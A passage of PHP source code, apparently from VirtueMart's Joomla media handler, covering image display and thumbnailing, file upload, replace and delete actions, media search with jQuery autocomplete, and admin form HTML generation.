		if($file_extension == 'jpg' || $file_extension == 'jpeg' || $file_extension == 'png' || $file_extension == 'gif'){
			$isImage = TRUE;

		} else {
			$isImage = FALSE;
		}

		return $isImage;
	}

		private $_foldersToTest = array();

		/**
		 * This functions adds the folders to test for each media, you can add more folders to test with
		 * addFoldersToTest
		 * @author Max Milbers
		 */
		public function determineFoldersToTest(){

			$file_path = str_replace('/',DS,$this->file_url_folder);
			if($this->file_is_forSale){
				$this->addFoldersToTest($file_path);
			} else {
				$this->addFoldersToTest(JPATH_ROOT.DS.$file_path);
			}


			$file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb);
			$this->addFoldersToTest(JPATH_ROOT.DS.$file_path_thumb);

		}


		/**
		 * Add complete paths here to test/display if their are writable
		 *
		 * @author Max Milbers
		 * @param absolutepPath $folders
		 */
		public function addFoldersToTest($folders){
			if(!is_array($folders)) $folders = (array) $folders;
			$this->_foldersToTest = array_merge($this->_foldersToTest, $folders);
		}

		/**
		 * Displays for paths if they are writeable
		 * You set the folders to test with the function addFoldersToTest
		 * @author Max Milbers
		 */
		public function displayFoldersWriteAble(){

			$style = 'text-align:left;margin-left:20px;';
			$result = '<div class="vmquote" style="'.$style.'">';
			foreach( $this->_foldersToTest as $dir ) {
				$result .= $dir . ' :: ';
				$result .= is_writable( $dir )
				? '<span style="font-weight:bold;color:green;">'.JText::_('COM_VIRTUEMART_WRITABLE').'</span>'
				: '<span style="font-weight:bold;color:red;">'.JText::_('COM_VIRTUEMART_UNWRITABLE').'</span>';
				$result .= '<br/>';
			}
			$result .= '</div>';
			return $result;
		}

		/**
		 * Shows the supported file types for the server
		 *
		 * @author enyo 06-Nov-2003 03:32 http://www.php.net/manual/en/function.imagetypes.php
		 * @author Max Milbers
		 * @return multitype:string
		 */
		function displaySupportedImageTypes() {
			$aSupportedTypes = array();

			$aPossibleImageTypeBits = array(
			IMG_GIF=>'GIF',
			IMG_JPG=>'JPG',
			IMG_PNG=>'PNG',
			IMG_WBMP=>'WBMP'
			);

			foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) {

				if(function_exists('imagetypes')){
					if (imagetypes() & $iImageTypeBits) {
						$aSupportedTypes[] = $sImageTypeString;
					}
				}

			}

			$supportedTypes = '';
			if(function_exists('mime_content_type')){
				$supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED').'<br />';
			} else {
				$supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED').'<br />';
			}

			$supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED'). implode($aSupportedTypes,', ');

			return $supportedTypes;
		}

		/**
		 * Just for overwriting purpose for childs. Take a look on VmImage to see an example
		 *
		 * @author Max Milbers
		 */
		function displayMediaFull(){
			return $this->displayMediaThumb('id="vm_display_image"',false,'',true,true);
		}

		/**
		 * This function displays the image, when the image is not already a resized one,
		 * it tries to get first the resized one, or create a resized one or fallback in case
		 *
		 * @author Max Milbers
		 *
		 * @param string $imageArgs Attributes to be included in the <img> tag.
		 * @param boolean $lightbox alternative display method
		 * @param string $effect alternative lightbox display
		 * @param boolean $withDesc display the image media description
		 */
		function displayMediaThumb($imageArgs='',$lightbox=true,$effect="class='modal' rel='group'",$return = true,$withDescr = false,$absUrl = false, $width=0,$height=0){

			if(empty($this->file_name)){

				if($return){
					if($this->file_is_downloadable){
						$file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('downloadable','zip.png');
						$file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description;
						return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr);
					} else {
						$file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_set');
						$file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description;
						return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect);
					}
				}
			}

			if(!empty($this->file_url_thumb)){
				$file_url_thumb = $this->file_url_thumb;
			} else if(is_a($this,'VmImage')) {

				$file_url_thumb = $this->createThumbFileUrl();

			} else {
				$file_url_thumb = '';
			}

			$media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb);

			if(empty($this->file_meta)){
				if(!empty($this->file_description)){
					$file_alt = $this->file_description;
				} else if(!empty($this->file_name)) {
					$file_alt = $this->file_name;
				} else {
					$file_alt = '';
				}
			} else {
				$file_alt = $this->file_meta;
			}

			if ((empty($file_url_thumb) || !file_exists($media_path)) && is_a($this,'VmImage')) {

				if(empty($width)) $width = VmConfig::get('img_width', 90);
				if(empty($height)) $height = VmConfig::get('img_height', 90);
				//vmSetStartTime('thumb');
				$file_url_thumb = $this->createThumb($width,$height);
				//vmTime('Time to create thumb','thumb');
				// 				vmdebug('displayMediaThumb',$this->file_url_thumb);
				$media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb);
				//$file_url = $this->file_url_thumb;

				//Here we need now to update the database field of $this->file_url_thumb to prevent dynamic thumbnailing in future
				//We do not update anylonger, only if there is an override used
				/*if(empty($this->_db)) $this->_db = JFactory::getDBO();
				$query = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb` = "'.$this->_db->getEscaped($this->file_url_thumb).'" WHERE `#__virtuemart_medias`.`virtuemart_media_id` = "'.(int)$this->virtuemart_media_id.'" ';
				$this->_db->setQuery($query);
				$this->_db->query();*/
			}
			$this->file_url_thumb = $file_url_thumb;

			if($withDescr) $withDescr = $this->file_description;
			if (empty($this->file_url_thumb) || !file_exists($media_path)) {
				return $this->getIcon($imageArgs,$lightbox,$return,$withDescr,$absUrl);
			}

			if($return) return $this->displayIt($file_url_thumb, $file_alt, $imageArgs,$lightbox,$effect,$withDescr,$absUrl);

		}

		/**
		 * This function should return later also an icon, if there isnt any automatic thumbnail creation possible
		 * like pdf, zip, ...
		 *
		 * @author Max Milbers
		 * @param string $imageArgs
		 * @param boolean $lightbox
		 */
		function getIcon($imageArgs,$lightbox,$return=false,$withDescr=false,$absUrl = false){

			if(!empty($this->file_extension)){
				$file_url = $this->theme_url.'assets/images/vmgeneral/filetype_'.$this->file_extension.'.png';
				$file_alt = $this->file_description;
			} else {
				$file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found');
				$file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description;
			}
			if($return){
				if($this->file_is_downloadable){
					return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr,$absUrl);
				} else {
					return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,'',$withDescr,$absUrl);
				}
			}

		}

		/**
		 * This function is just for options how to display an image...
		 * we may add here plugins for displaying images
		 *
		 * @author Max Milbers
		 * @param string $file_url relative Url
		 * @param string $file_alt media description
		 * @param string $imageArgs attributes for displaying the images
		 * @param boolean $lightbox use lightbox
		 */
		function displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect ="class='modal'",$withDesc=false,$absUrl = false){

			if ($withDesc) $desc='<span class="vm-img-desc">'.$withDesc.'</span>';
			else $desc='';
			// 			vmdebug('displayIt $file_alt'.$file_alt,$imageArgs);
			if($lightbox){
				$image = JHTML::image($file_url, $file_alt, $imageArgs);
				if ($file_alt ) $file_alt = 'title="'.$file_alt.'"';
				if ($this->file_url and pathinfo($this->file_url, PATHINFO_EXTENSION) and substr( $this->file_url, 0, 4) != "http") $href = JURI::root() .$this->file_url ;
				else $href = $file_url ;
				if ($this->file_is_downloadable) {
					$lightboxImage = '<a '.$file_alt.' '.$effect.' href="'.$href.'">'.$image.$desc.'</a>';
				} else {
					$lightboxImage = '<a '.$file_alt.' '.$effect.' href="'.$href.'">'.$image.'</a>';
					$lightboxImage = $lightboxImage.$desc;
				}

				return $lightboxImage;
			} else {
				$root='';
				if($absUrl) $root = JURI::root();
				return JHTML::image($root.$file_url, $file_alt, $imageArgs).$desc;
			}
		}

		/**
		 * Handles the upload process of a media, sets the mime_type, when success
		 *
		 * @author Max Milbers
		 * @param string $urlfolder relative url of the folder where to store the media
		 * @return name of the uploaded file
		 */
		function uploadFile($urlfolder,$overwrite = false){

			if(empty($urlfolder) OR strlen($urlfolder)<2){
				vmError('Not able to upload file, give path/url empty/too short '.$urlfolder.' please correct path in your virtuemart config');
				return false;
			}
			$media = JRequest::getVar('upload', array(), 'files');

			$app = JFactory::getApplication();
			switch ($media['error']) {
				case 0:
					$path_folder = str_replace('/',DS,$urlfolder);

					//Sadly it does not work to upload unicode files,
					// the ä for example is stored on windows as Ã¤, this seems to be a php issue (maybe a config setting)
					//
					//Sanitize name of media
				/*	$dotPos = strrpos($media['name'],'.');
					$safeMediaName = vmFile::makeSafe( $media['name'] );
					if($dotPos!==FALSE){
						$mediaPure = substr($media['name'],0,$dotPos);
						$mediaExtension = strtolower(substr($media['name'],$dotPos));
					} else{
						$mediaPure = '';
						$mediaExtension = '';
					}
				*/

					$safeMediaName = vmFile::makeSafe( $media['name'] );
					$media['name'] = $safeMediaName;

					$mediaPure = JFile::stripExt($media['name']);
					$mediaExtension = '.'.strtolower(JFile::getExt($media['name']));
					vmdebug('uploadFile $safeMediaName',$media['name'],$safeMediaName,$mediaPure,$mediaExtension);

					if(!$overwrite){
						while (file_exists(JPATH_ROOT.DS.$path_folder.$mediaPure.$mediaExtension)) {
							$mediaPure = $mediaPure.rand(1,9);
						}
					}

					$media['name'] = $this->file_name =$mediaPure.$mediaExtension;
					if($this->file_is_forSale==0){
						JFile::upload($media['tmp_name'],JPATH_ROOT.DS.$path_folder.$media['name']);
					} else {
						JFile::upload($media['tmp_name'],$path_folder.$media['name']);
					}

					$this->file_mimetype = $media['type'];
					$this->media_published = 1;
					$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_UPLOAD_OK',JPATH_ROOT.DS.$path_folder.$media['name']));
					return $media['name'];

				case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
					$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_UPLOAD_MAX_FILESIZE',$media['name'],$media['tmp_name']), 'warning');
					break;
				case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
					$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_MAX_FILE_SIZE',$media['name'],$media['tmp_name']), 'warning');
					break;
				case 3: //uploaded file was only partially uploaded
					$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_PARTIALLY',$media['name'],$media['tmp_name']), 'warning');
					break;
				case 4: //no file was uploaded
					//$vmLogger->warning( "You have not selected a file/image for upload." );
					break;
				default: //a default error, just in case!  :)
					//$vmLogger->warning( "There was a problem with your upload." );
					break;
			}
			return false;
		}

		/**
		 * Deletes a file
		 *
		 * @param string $url relative Url, gets adjusted to path
		 */
		function deleteFile($url){

			jimport('joomla.filesystem.file');
			$file_path = JPATH_ROOT.DS.str_replace('/',DS,$url);
			$app = JFactory::getApplication();
			if (!class_exists ('Permissions')) {
				require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
			}
			$msg_path = '';
			if(Permissions::getInstance()->check('admin')){
				$msg_path = $file_path;
			}

			if($res = JFile::delete( $file_path )){
				$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_OK',$msg_path));
			} else {
				$app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_ERR',$res.' '.$msg_path));
			}
			return ;
		}

		/**
		 * Processes the choosed Action while storing the data, gets extend by the used child, use for the action clear commands.
		 * Useable commands in all medias upload, upload_delete, delete, and all of them with _thumb on it also.
		 *
		 * @author Max Milbers
		 * @param arraybyform $data
		 */
		function processAction($data){

			if(empty($data['media_action'])) return $data;
			// 			$data['published'] = 1;
			if( $data['media_action'] == 'upload' ){

				$this->virtuemart_media_id=0;
				$this->file_url='';
				$this->file_url_thumb='';
				$file_name = $this->uploadFile($this->file_url_folder);
				$this->file_name = $file_name;
				$this->file_url = $this->file_url_folder.$this->file_name;
			}
			else if( $data['media_action'] == 'replace' ){
				// 				$oldFileUrl = $data['file_url'];
				// 				vmdebug('replace media',$this);
				$oldFileUrl = $this->file_url;
				$oldFileUrlThumb = $this->file_url_thumb;
				$file_name = $this->uploadFile($this->file_url_folder,true);
				$this->file_name = $file_name;
				$this->file_url = $this->file_url_folder.$this->file_name;
				if($this->file_url!=$oldFileUrl && !empty($this->file_name)){
					$this->deleteFile($oldFileUrl);
				}
				//always delete the thumb
				$this->deleteFile($oldFileUrlThumb);
			}
			else if( $data['media_action'] == 'replace_thumb' ){

				$oldFileUrlThumb = $this->file_url_thumb;
				$oldFileUrl = $this->file_url_folder_thumb;
				$file_name = $this->uploadFile($this->file_url_folder_thumb,true);
				$this->file_name = $file_name;
				$this->file_url_thumb = $this->file_url_folder_thumb.$this->file_name;
				if($this->file_url_thumb!=$oldFileUrl&& !empty($this->file_name)){
					$this->deleteFile($oldFileUrlThumb);
				}

			}
			else if( $data['media_action'] == 'delete' ){
				//TODO this is complex, we must assure that the media entry gets also deleted.
				//$this->deleteFile($this->file_url);
				unset($data['active_media_id']);

			}


			if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name;
			//		if(empty($this->file_title) && !empty($file_name)) $data['file_title'] = $file_name;

			return $data;
		}


		/**
		 * For processing the Attributes of the media while the storing process
		 *
		 * @author Max Milbers
		 * @param unknown_type $data
		 */
		function processAttributes($data){

			$this->file_is_product_image = 0;
			$this->file_is_downloadable = 0;
// 			$this->file_is_forSale = 0;

			if(empty($data['media_roles'])) return $data;

			if($data['media_roles'] == 'file_is_downloadable'){
				$this->file_is_downloadable = 1;
				$this->file_is_forSale = 0;
			}
			else if($data['media_roles'] == 'file_is_forSale'){
				$this->file_is_downloadable = 0;
				$this->file_is_forSale = 1;
				$this->file_url_folder = VmConfig::get('forSale_path');
				$this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb');

				$this->setRole = false;
			}

			if($this->setRole and $data['media_roles'] != 'file_is_forSale'){

				$this->file_url_folder = $this->getMediaUrlByView($data['media_attributes']);	//media_roles
				$this->file_url_folder_thumb = $this->file_url_folder.'resized/';

				$typelessUrl = 'images/stories/virtuemart/typeless/'.$this->file_name;
				vmdebug('the Urls',$data['media_roles'],$typelessUrl,$this->file_url_folder.$this->file_name);
				if(!file_exists($this->file_url_folder.$this->file_name) and file_exists($typelessUrl)){
					vmdebug('Execute move');
					JFile::move($typelessUrl, $this->file_url_folder.$this->file_name);
				}
			}

			if(!empty($data['vmlangimg'])) {
				$vmlangimg = implode(",", $data['vmlangimg']);
				$this->file_lang = $vmlangimg;
			}


			return $data;
		}

		private $_actions = array();
		/**
		 * This method can be used to add extra actions to the media
		 *
		 * @author Max Milbers
		 * @param string $optionName this is the value in the form
		 * @param string $langkey the langkey used
		 */
		function addMediaAction($optionName,$langkey){
			$this->_actions[$optionName] = $langkey ;
		}

		/**
		 * Adds the media action which are needed in the form for all media,
		 * you can use this function in your child calling parent. Look in VmImage for an exampel
		 * @author Max Milbers
		 */
		function addMediaActionByType(){

			$this->addMediaAction(0,'COM_VIRTUEMART_NONE');

			$view = JRequest::getWord('view');
			if($view!='media' || empty($this->file_name)){
				$this->addMediaAction('upload','COM_VIRTUEMART_FORM_MEDIA_UPLOAD');
			}

			if(!empty($this->file_name)){
				$this->addMediaAction('replace','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE');
				$this->addMediaAction('replace_thumb','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB');
				//			$this->addMediaAction('delete_thumb','COM_VIRTUEMART_FORM_MEDIA_DELETE_THUMB');
				//			$this->addMediaAction('delete','COM_VIRTUEMART_FORM_MEDIA_DELETE');
			}

		}


		private $_mLocation = array();

		/**
		 * This method can be used to add extra attributes to the media
		 *
		 * @author Max Milbers
		 * @param string $optionName this is the value in the form
		 * @param string $langkey the langkey used
		 */
		public function addMediaAttributes($optionName,$langkey=''){
			$this->_mLocation[$optionName] = $langkey ;
		}

		/**
		 * Adds the attributes which are needed in the form for all media,
		 * you can use this function in your child calling parent. Look in VmImage for an exampel
		 * @author Max Milbers
		 */
		public function addMediaAttributesByType(){


			if($this->setRole){
				// 				$this->addMediaAttributes('file_is_product_image','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT');
				$this->addMediaAttributes('product','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); // => file_is_displayable  =>location
				$this->addMediaAttributes('category','COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY');
				$this->addMediaAttributes('manufacturer','COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER');
				$this->addMediaAttributes('vendor','COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR');

				$this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ;
				$this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ;
				$this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ;
			} else {

				if($this->file_is_forSale==1){
					$this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ;
				} else {
					$this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ;
					$this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ;

				}
			}

		}


		private $_hidden = array();

		/**
		 * Use this to adjust the hidden fields of the displayFileHandler to your form
		 *
		 * @author Max Milbers
		 * @param string $name for exampel view
		 * @param string $value for exampel media
		 */
		public function addHidden($name, $value=''){
			$this->_hidden[$name] = $value;
		}

		/**
		 * Adds the hidden fields which are needed for the form in every case
		 * @author Max Milbers
		 */
		private function addHiddenByType(){

			$this->addHidden('active_media_id',$this->virtuemart_media_id);
			$this->addHidden('option','com_virtuemart');
			//		$this->addHidden('file_mimetype',$this->file_mimetype);

		}

		/**
		 * Displays file handler and file selector
		 *
		 * @author Max Milbers
		 * @param array $fileIds
		 */
		public function displayFilesHandler($fileIds,$type){

			VmConfig::loadJLang('com_virtuemart_media');
			$html = $this->displayFileSelection($fileIds,$type);
			$html .= $this->displayFileHandler();

			if(empty($this->_db)) $this->_db = JFactory::getDBO();
			$this->_db->setQuery('SELECT FOUND_ROWS()');
			$imagetotal = $this->_db->loadResult();
			//vmJsApi::jQuery(array('easing-1.3.pack','mousewheel-3.0.4.pack','fancybox-1.3.4.pack'),'','fancybox');
			$j = '
//<![CDATA[
'; 
			$j .= "
			jQuery(document).ready(function(){ jQuery('#ImagesContainer').vm2admin('media','".$type."','0') }); " ;

			$j .="
			jQuery(document).ready(function($){
			var medialink = '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=media&task=viewJson&format=json&mediatype=".$type."';
			var media = $('#searchMedia').data();
			var searchMedia = $('input#searchMedia');
			searchMedia.click(function () {
				if (media.start>0) media.start=0;
			});
			searchMedia.autocomplete({

				source: medialink,
				select: function(event, ui){
					$('#ImagesContainer').append(ui.item.label);
					//$(this).autocomplete( 'option' , 'source' , '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=product&task=getData&format=json&type=relatedcategories&row='+nextCustom )

				},
				minLength:1,
				html: true
			});
			 $('.js-pages').click(function (e) {
				e.preventDefault();
				if (searchMedia.val() =='') {
					searchMedia.val(' ');
					media.start = 0;
				} else if ($(this).hasClass('js-next')) media.start = media.start+16 ;
				else if (media.start > 0) media.start = media.start-16 ;

				searchMedia.autocomplete( 'option' , 'source' , medialink+'&start='+media.start );
				searchMedia.autocomplete( 'search');
			});
			$('#ImagesContainer').sortable({
				update: function(event, ui) {
					$(this).find('.ordering').each(function(index,element) {
						$(element).val(index);
						//console.log(index+' ');

					});

				}
			});
			$('#upload').change( function (){
					if ($('#media_action0').is(':checked') ) $('#media_actionupload').attr('checked', true);
				});


		}); 
//]]>
		";

			$document = JFactory::getDocument ();
			$document->addScriptDeclaration ( $j);
			return $html;
		}


		/**
		 * Displays a possibility to select already uploaded media
		 * the getImagesList must be adjusted to have more search functions
		 * @author Max Milbers
		 * @param array $fileIds
		 */
		public function displayFileSelection($fileIds,$type = 0){

			$html='';
			$html .= '<fieldset class="checkboxes">' ;
			$html .= '<legend>'.JText::_('COM_VIRTUEMART_IMAGES').'</legend>';
			$html .=  '<span style="height:18px;vertical-align: middle;margin:4px" class="hasTip always-left" title="'.JText::_('COM_VIRTUEMART_SEARCH_MEDIA_TIP').'">'.JText::_('COM_VIRTUEMART_SEARCH_MEDIA') . '</span>';
			$html .=   '
					<input type="text" name="searchMedia" id="searchMedia" style="height:18px;vertical-align: middle;margin:4px;width:250px" data-start="0" value="' .JRequest::getString('searchMedia') . '" class="text_area always-left" />
					<button class="reset-value fg-button" style="height:18px;vertical-align: middle;margin:4px">'.JText::_('COM_VIRTUEMART_RESET') .'</button>
					<a style="height:18px;vertical-align: middle;margin:4px" class="js-pages js-previous fg-button ui-state-default fg-button-icon-left ui-corner-all" ><span class="ui-icon ui-icon-circle-minus" style="display:inline-block;"></span> 16 </a>
					<a style="height:18px;vertical-align: middle;margin:4px" class="js-pages js-next fg-button ui-state-default fg-button-icon-right ui-corner-all"> 16 <span class="ui-icon ui-icon-circle-plus" style="display:inline-block;"></span></a>';
			$html .='<br class="clear"/>';


			$html .= '<div id="ImagesContainer">';

			if(!empty($fileIds)) {
				$model = VmModel::getModel('Media');
				$medias = $model->createMediaByIds($fileIds, $type);
				foreach($medias as $k=>$id){
					$html .= $this->displayImage($id,$k );
				}
			}
			$html .= '</div>';

			return $html.'</fieldset><div class="clear"></div>';
		}


		function displayImage($image ,$key) {

			if (isset($image->file_url)) {
				$image->file_root = JURI::root(true).'/';
				$image->msg =  'OK';
				return  '<div  class="vm_thumb_image"><input type="hidden" value="'.$image->virtuemart_media_id.'" name="virtuemart_media_id[]">
				<input class="ordering" type="hidden" name="mediaordering['.$image->virtuemart_media_id.']" value="'.$key.'">
			<a class="vm_thumb" rel="group1" title ="'.$image->file_title.'"href="'.JURI::root(true).'/'.$image->file_url.'" >
			'.JHTML::image($image->file_url_thumb, $image->file_title, '').'
			</a><div class="vmicon vmicon-16-remove" title="'.JText::_('COM_VIRTUEMART_IMAGE_REMOVE').'"></div><div class="edit-24-grey" title="'.JText::_('COM_VIRTUEMART_IMAGE_EDIT_INFO').'"></div></div>';
			} else {
				$fileTitle = empty($image->file_title)? 'no  title':$image->file_title;
				return  '<div  class="vm_thumb_image"><b>'.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'</b><br />'.$fileTitle.'</div>';
			}

		}


		static function displayImages($types ='',$page=0,$max=16 ) {

			$Images = array();
			$list = VmMediaHandler::getImagesList($types,$page,$max);
			if (empty($list['images'])){
				return JText::_('COM_VIRTUEMART_NO_MEDIA_FILES');
			}

			foreach ($list['images'] as $key =>$image) {
				$htmlImages ='';
				if ($image->file_url_thumb > "0" ) {
					// $imagesList->file_root = JURI::root(true).'/';
					// $imagesList->msg =  'OK';
					$htmlImages .= '<div class="vm_thumb_image">
					<span><a class="vm_thumb" rel="group1" title ="'.$image->file_title.'"href="'.JURI::root(true).'/'.$image->file_url.'" >'
					.JHTML::image($image->file_url_thumb,$image->file_title, 'class="vm_thumb" ').'</span></a>';
				} else {
					$htmlImages .=  '<div class="vm_thumb_image">'.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'<br />'.$image->file_title ;
				}
				$Images[$key ]['label'] = $htmlImages.'<input type="hidden" value="'.$image->virtuemart_media_id.'" name="virtuemart_media_id['.$image->virtuemart_media_id.']"><input class="ordering" type="hidden" name="mediaordering['.$image->virtuemart_media_id.']" value=""><div class="vmicon vmicon-16-remove" title="remove"></div><div title="edit image information" class="edit-24-grey"></div></div>';
				$Images[$key ]['value'] = $image->file_title.' :: '.$image->virtuemart_media_id;
			}
			//$list['htmlImages'] = $htmlImages;
			return $Images;
		}


		/**
		 * Retrieve a list of layouts from the default and chosen templates directory.
		 *
		 * We may use here the getFiles function of the media model or write something simular
		 * @author Max Milbers
		 * @param name of the view
		 * @return object List of flypage objects
		 */
		function getImagesList($type = '',$limit=0, $max=16) {

			$db = JFactory::getDBO();
			$list = array();
			$vendorId=1;//TODO control the vendor
			$q='SELECT SQL_CALC_FOUND_ROWS `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `published`=1
    	AND (`virtuemart_vendor_id`= "'.(int)$vendorId.'" OR `shared` = "1")';
			if(!empty($type)){
				$q .= ' AND `file_type` = "'.$type.'" ';
			}
			if ($search = JRequest::getString('term', false)){
				$search = '"%' . $db->getEscaped( $search, true ) . '%"' ;
				$q .=  ' AND (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.') ';
			}
			$q .= ' LIMIT '.(int)$limit.', '.(int)$max;

			$db->setQuery($q);
			//		$result = $this->_db->loadAssocList();
			if ($virtuemart_media_ids = $db->loadResultArray()) {
				$errMsg = $db->getErrorMsg();
				$errs = $db->getErrors();

				$model = VmModel::getModel('Media');

				$db->setQuery('SELECT FOUND_ROWS()');
				$list['total'] = $db->loadResult();

				$list['images'] = $model->createMediaByIds($virtuemart_media_ids, $type);

				if(!empty($errMsg)){
					$app = JFactory::getApplication();
					$errNum = $db->getErrorNum();
					$app->enqueueMessage('SQL-Error: '.$errNum.' '.$errMsg);
				}

				if($errs){
					$app = JFactory::getApplication();
					foreach($errs as $err){
						$app->enqueueMessage($err);
					}
				}

				return $list;
			}
			else return array();
		}


		/**
		 * This displays a media handler. It displays the full and the thumb (icon) of the media.
		 * It also gives a possibility to upload/change/thumbnail media
		 *
		 * @param string $imageArgs html atttributes, Just for displaying the fullsized image
		 */
		public function displayFileHandler(){

			VmConfig::loadJLang('com_virtuemart_media');
			$identify = ''; // ':'.$this->virtuemart_media_id;

			$this->addHiddenByType();

			$html = '<fieldset class="checkboxes">' ;
			$html .= '<legend>'.JText::_('COM_VIRTUEMART_IMAGE_INFORMATION').'</legend>';
			$html .= '<div class="vm__img_autocrop">';
			$imageArgs = 'id="vm_display_image" ';
			$html .=  $this->displayMediaFull($imageArgs,false,'',false).'</div>';

			//This makes problems, when there is already a form, and there would be form in a form. breaks js in some browsers
			//		$html .= '<form name="adminForm" id="adminForm" method="post" enctype="multipart/form-data">';

			$html .= ' <table class="adminform"> ';

			if ($this->published || $this->virtuemart_media_id === 0){
				$checked = 1;
			} else {
				$checked = 0;
			}

			$html .= '<tr>';
			//  The following was removed bacause the check box (publish/unpublish) was not functioning...
			// 			$this->media_published = $this->published;
			$html .= '<td class="labelcell">
		<label for="published">'. JText::_('COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED') .'</label>
	</td>
	<td>';
		if(!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php');
		$html .= VmHTML::checkbox('media_published',$checked,1,0,'class="inputbox"','media_published'.$identify) ;
		//<input type="checkbox" class="inputbox" id="media_published'.$identify.'" name="media_published'.$identify.'" '.$checked.' size="16" value="1" />

	$html .='</td>';
			$html .= '<td rowspan = "8">';
			$html .= JHTML::image($this->file_url_thumb, 'thumbnail', 'id="vm_thumb_image" style="overflow: auto; float: right;"');
			// $html .= $this->displayMediaThumb('',false,'id="vm_thumb_image" style="overflow: auto; float: right;"');
			$html .= '</td>';

			$html .= '</tr>';

			// 			$html .= '<tr>
			// 	<td class="labelcell">'. JText::_('COM_VIRTUEMART_FILES_FORM_CURRENT_FILE') .'</td>
			// 	<td>'.$this->file_name.'.'.$this->file_extension .'</td>
			// </tr>';

			if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php');
			if(!Permissions::getInstance()->check('admin') ) $readonly='readonly'; else $readonly ='';
			$html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_TITLE','file_title');
			$html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION','file_description');
			$html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_META','file_meta');

			$html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL','file_url',$readonly);

			//remove the file_url_thumb in case it is standard
			if(!empty($this->file_url_thumb) and is_a($this,'VmImage')) {
				$file_url_thumb = $this->createThumbFileUrl();
				//vmdebug('my displayFileHandler ',$this,$file_url_thumb);

				if($this->file_url_thumb == $file_url_thumb){
					$this->file_url_thumb = JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$file_url_thumb);
				}
			}
			$html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB','file_url_thumb',$readonly);

			$this->addMediaAttributesByType();

			$html .= '<tr>
					<td class="labelcell">'.JText::_('COM_VIRTUEMART_FILES_FORM_ROLE').'</td>
					<td><fieldset class="checkboxes">'.JHTML::_('select.radiolist', $this->getOptions($this->_mRoles), 'media_roles'.$identify, '', 'value', 'text', $this->media_role).'</fieldset></td></tr>';

			// 			$html .= '<tr><td class="labelcell">'.VmHTML::checkbox('file_is_forSale', $this->file_is_forSale);
			// 			$html .= VmHTML::checkbox('file_is_downloadable', $this->file_is_downloadable);

			if(!empty($this->file_type)){

				$html .= '<tr>
						<td class="labelcell">'.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'</td>
						<td><fieldset class="checkboxes">'.JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_'.strtoupper($this->file_type)).'</fieldset></td></tr>';
			} else {
				$mediaattribtemp = $this->media_attributes;
